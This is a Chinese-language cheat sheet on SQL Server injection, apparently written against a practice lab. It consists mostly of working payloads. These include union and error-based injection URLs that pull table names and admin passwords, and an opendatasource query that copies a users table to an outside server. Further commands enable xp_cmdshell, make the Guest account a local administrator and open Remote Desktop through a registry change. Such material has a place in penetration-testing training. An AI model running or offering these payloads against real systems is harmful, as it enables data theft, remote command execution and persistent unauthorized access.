文章目录
SQL Server
简介
又称MSSQL
SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为1433。数据库后缀名 .mdf,注释符是 –
用户权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等 (数据库最高权限system)
db权限:文件管理,数据库操作等权限 users-administrators
public权限:数据库操作 guest-users
默认数据库
sqlserver有6个默认数据库,分别为4个系统数据库:master、model、msdb、tempdb和数据库快照ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的。
MSSQL注入的危害
- 读写文件
- 执行系统命令
查询基础
select * from aa.dbo.syscolumns(dbo:权限、可省)
select @@version; # 查询数据库版本。
select host_name(); # 查询主机名,若果是navicat远程连接,主机名是本地的名字。
select db_name(); # 查询当前数据库
select user; # 查询当前数据库的拥有者,结果为 dbo,dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb # 切换到tempdb
top n # 查询前n条记录
limit 2,3 # 查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) # 截取给定字符串的索引为2的1个字符
select ascii('a') # 查询给定字符串的ascii值
select len('string') # 查询给定字符串的长度
数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDBmssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
查询数据库
查询数据库名:db_name()
可以传参
db_name(0):当前数据库
db_name(1):系统默认库
查询数据库的个数:select count(name) from sysdatabases
查询数据库的名字:select name from sysdatabases
查询所有数据库的信息:select * from sysdatabases
查询数据表
查询当前数据库的所有表的详细信息:
select * from sysobjects where xtype= 'u'
查询指定msdb数据库中表的个数:
select count(name) from msdb..sysobjects where xtype='U'
查询指定msdb数据库中表的名字:
select name from msdb..sysobjects where xtype='U'
查询指定msdb数据库中表的详细信息:
select * from msdb..sysobjects where xtype='U'
查询列
查询当前数据库的指定users表的所有列:
select name from syscolumns where id =(select max (id) from sysobjects where xtype = 'u' and name='users')
查询指定test数据库的指定users表的列的个数
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype= 'u' and name = 'users' )
查询指定test数据库的指定users表的所有列
select name from test..syscolumns where id = ( select max(id) from test..sysobjects where xtype = 'u' and name= 'users' )
查询指定test数据库的指定users表的列的详细信息
select * from test..syscolumns where id = (select max(id) from test..sysobjects where xtype= 'u' and name='users' )
查询数据
查询test数据库user表的数据的条数:
select count (*) from test..user
查询test数据库user表的所有数据:
select * from test..user
联合查询(基础)
-1 and union all select 1,2,3
-1 and union all select null,null,null:匹配所有数据类型
mssql得union查询要求前后得数据类型相同
可以一位一位得查询
union select 1,null,null
union select 1,2,null
查询进阶
-- 数值型
-- 爆字段数
http://219.153.49.228:42972/new_list.asp?id=2 order by 4
-- 查占位
http://219.153.49.228:42972/new_list.asp?id=-2 union all select null,null,null,null
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,null,null,null
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,2,null,null
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,2,null,4
-- 爆库名
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,db_name(0),null,4
-- 爆表名
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,4
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,4
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),null,4
-- 爆表ID
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 id from mozhe_db_v2.dbo.sysobjects where name='manage'),null,4
-- 爆字段
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.syscolumns where id=5575058),null,4
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.syscolumns where id=5575058 and name not in ('id')),null,4
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.syscolumns where id=5575058 and name not in ('id','username')),null,4
-- 爆内容
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select username from manage),null,4
http://219.153.49.228:42972/new_list.asp?id=-2 union all select 1,(select password from manage where username='admin_mz'),null,4
报错注入
mssql在进行比较时,会强制将非int类型转换为int类型
-- 爆库名
select * from master.dbo.sysdatabases where name = 'master' and (SELECT top 1 Name FROM master.dbo.SysDatabases )>1;
select * from master.dbo.sysdatabases where name = 'master' and (SELECT top 1 Name FROM master.dbo.SysDatabases where name not in ('master'))>1;
-- 爆表名
select * from master.dbo.sysdatabases where name = 'master' and (select top 1 name from aa.dbo.sysobjects where xtype='u')>0
select * from master.dbo.sysdatabases where name = 'master' and (select top 1 name from aa.dbo.sysobjects where xtype='u' and name not in ('fs_user_Requestinformation'))>0;
-- 爆字段
select * from master.dbo.sysdatabases where name = 'master' and (select top 1 name from aa.dbo.syscolumns where id =(select top 1 id from aa..sysobjects where xtype='u' and name='fs_ads'))>0;
select * from master.dbo.sysdatabases where name = 'master' and (select top 1 name from aa.dbo.syscolumns where id =(select top 1 id from aa..sysobjects where xtype='u' and name='fs_ads') and name not in ('id'))>0;
堆叠注入
多条命令同时执行
select * from aa.dbo.sysobjects;select * from aa.dbo.syscolumns;
反弹注入(外联注入)
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
select * from master.dbo.sysdatabases;insert into opendatasource('sqloledb','server=192.168.100.140,1433;uid=sa;pwd=Admin@123;database=test').test.dbo.users select * from security.dbo.users --
SA权限开启xp_cmdshell获取主机权限
如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启
select count (*) FROM sysobjects Where xtype =‘X’ AND name = ‘xp_cmdshell’ #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了
exec sp_configure 'show advanced options',1; #将该选项的值设置为1
reconfigure; #保存设置
exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
reconfigure; #保存设置
exec sp_configure #查看配置
exec xp_cmdshell 'whoami' #执行系统命令
提权开启3389
#给guest用户设置密码
exec xp_cmdshell 'net user Guest 123456'
#激活guest用户
exec xp_cmdshell 'net user Guest /active:yes'
#将guest用户添加到administrators用户组
exec xp_cmdshell 'net localgroup administrators Guest /add'
#开启3389端口
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'